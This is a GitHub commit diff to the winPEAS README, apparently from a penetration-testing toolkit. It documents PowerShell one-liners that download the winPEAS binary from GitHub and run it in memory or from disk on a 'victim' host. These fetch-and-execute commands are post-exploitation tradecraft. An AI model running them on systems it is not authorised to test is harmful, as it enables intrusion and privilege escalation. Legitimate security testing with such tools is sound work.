Skip to content

Commit 5481875

Browse files
authored
Update README.md
1 parent 516aaff commit 5481875

File tree

1 file changed

+6
-1
lines changed

1 file changed

+6
-1
lines changed

winPEAS/winPEASexe/README.md

+6-1
Original file line numberDiff line numberDiff line change
@@ -22,10 +22,15 @@ $url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany
2222
# One liner to download and execute winPEASany from memory in a PS shell
2323
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
2424

25-
# Before cmd in 3 lines
25+
# The cprevios cmd in 2 lines
2626
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
2727
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
2828

29+
# Download to disk and execute (super noisy)
30+
$wc = New-Object System.Net.WebClient
31+
$wc.DownloadFile("https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe", "winPEASany_ofs.exe")
32+
.\winPEASany_ofs.exe
33+
2934
# Load from disk in memory and execute:
3035
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
3136
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use

0 commit comments

Comments
 (0)